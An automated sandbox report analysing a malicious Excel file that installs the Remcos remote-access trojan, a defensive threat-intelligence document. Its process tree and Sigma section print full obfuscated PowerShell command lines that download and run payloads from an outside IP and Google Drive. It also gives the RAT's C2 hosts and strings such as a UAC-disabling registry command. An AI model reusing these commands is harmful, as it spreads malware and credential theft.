Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
0001.xls

Overview

General Information

Sample name:0001.xls
Analysis ID:1544692
MD5:fb16f7b0fbcb2ae5d3b185392e4543a5
SHA1:f5e0e6247b2fd7ec74fc687ba0f63d8c05cc3fe0
SHA256:8f4cb3b0aaf0bdbbcc6d080385fab14ae0cf71d8e46770902ade7f5e4099b5da
Tags:xlsuser-Racco42
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 3560 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • mshta.exe (PID: 3824 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)
      • powershell.exe (PID: 3932 cmdline: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)
        • powershell.exe (PID: 4028 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe MD5: A575A7610E5F003CC36DF39E07C4BA7D)
        • csc.exe (PID: 3148 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)
          • cvtres.exe (PID: 3164 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7781.tmp" "c:\Users\user\AppData\Local\Temp\htcuymda\CSCED218374D5764718ADCDD459E0E116EB.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
    • AcroRd32.exe (PID: 2960 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding MD5: 2F8D93826B8CBF9290BC57535C7A6817)
    • mshta.exe (PID: 3052 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)
      • powershell.exe (PID: 808 cmdline: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)
        • powershell.exe (PID: 1568 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe MD5: A575A7610E5F003CC36DF39E07C4BA7D)
        • csc.exe (PID: 3612 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)
          • cvtres.exe (PID: 3624 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC6F7.tmp" "c:\Users\user\AppData\Local\Temp\1vm3e1kt\CSC4B568FC3E3A64456AB5664CB529ACC2C.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
        • wscript.exe (PID: 3876 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs" MD5: 045451FA238A75305CC26AC982472367)
          • powershell.exe (PID: 3856 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D)
            • powershell.exe (PID: 3776 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)
              • CasPol.exe (PID: 3280 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
                • CasPol.exe (PID: 3180 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\mpqqyenbumlfhmiakqc" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
                • CasPol.exe (PID: 3232 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\wjwiyxyvivdsjteetbolyxd" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
                • CasPol.exe (PID: 3212 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\hljbzpjxwdvxtzshkmjmbbyzqg" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": ["cokka.duckdns.org:9764:1", "cokka.duckdns.org:9674:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-TTZ00A", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\ProgramData\remcos\logs.datJoeSecurity_RemcosYara detected Remcos RATJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
      0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
          0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
          • 0x6c4b8:$a1: Remcos restarted by watchdog!
          • 0x6ca30:$a3: %02i:%02i:%02i:%03i
          0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmpREMCOS_RAT_variantsunknownunknown
          • 0x6650c:$str_a1: C:\Windows\System32\cmd.exe
          • 0x66488:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
          • 0x66488:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
          • 0x66988:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
          • 0x671b8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
          • 0x6657c:$str_b2: Executing file:
          • 0x675fc:$str_b3: GetDirectListeningPort
          • 0x66fa8:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
          • 0x67128:$str_b7: \update.vbs
          • 0x665a4:$str_b9: Downloaded file:
          • 0x66590:$str_b10: Downloading file:
          • 0x66634:$str_b12: Failed to upload file:
          • 0x675c4:$str_b13: StartForward
          • 0x675e4:$str_b14: StopForward
          • 0x67080:$str_b15: fso.DeleteFile "
          • 0x67014:$str_b16: On Error Resume Next
          • 0x670b0:$str_b17: fso.DeleteFolder "
          • 0x66624:$str_b18: Uploaded file:
          • 0x665e4:$str_b19: Unable to delete:
          • 0x67048:$str_b20: while fso.FileExists("
          • 0x66ac1:$str_c0: [Firefox StoredLogins not found]
          Click to see the 14 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          26.2.CasPol.exe.400000.0.raw.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
            26.2.CasPol.exe.400000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
              26.2.CasPol.exe.400000.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                26.2.CasPol.exe.400000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
                • 0x6c4b8:$a1: Remcos restarted by watchdog!
                • 0x6ca30:$a3: %02i:%02i:%02i:%03i
                26.2.CasPol.exe.400000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
                • 0x6650c:$str_a1: C:\Windows\System32\cmd.exe
                • 0x66488:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                • 0x66488:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                • 0x66988:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
                • 0x671b8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
                • 0x6657c:$str_b2: Executing file:
                • 0x675fc:$str_b3: GetDirectListeningPort
                • 0x66fa8:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
                • 0x67128:$str_b7: \update.vbs
                • 0x665a4:$str_b9: Downloaded file:
                • 0x66590:$str_b10: Downloading file:
                • 0x66634:$str_b12: Failed to upload file:
                • 0x675c4:$str_b13: StartForward
                • 0x675e4:$str_b14: StopForward
                • 0x67080:$str_b15: fso.DeleteFile "
                • 0x67014:$str_b16: On Error Resume Next
                • 0x670b0:$str_b17: fso.DeleteFolder "
                • 0x66624:$str_b18: Uploaded file:
                • 0x665e4:$str_b19: Unable to delete:
                • 0x67048:$str_b20: while fso.FileExists("
                • 0x66ac1:$str_c0: [Firefox StoredLogins not found]
                Click to see the 7 entries

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Base64 Encoded PowerShell Command Detected
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0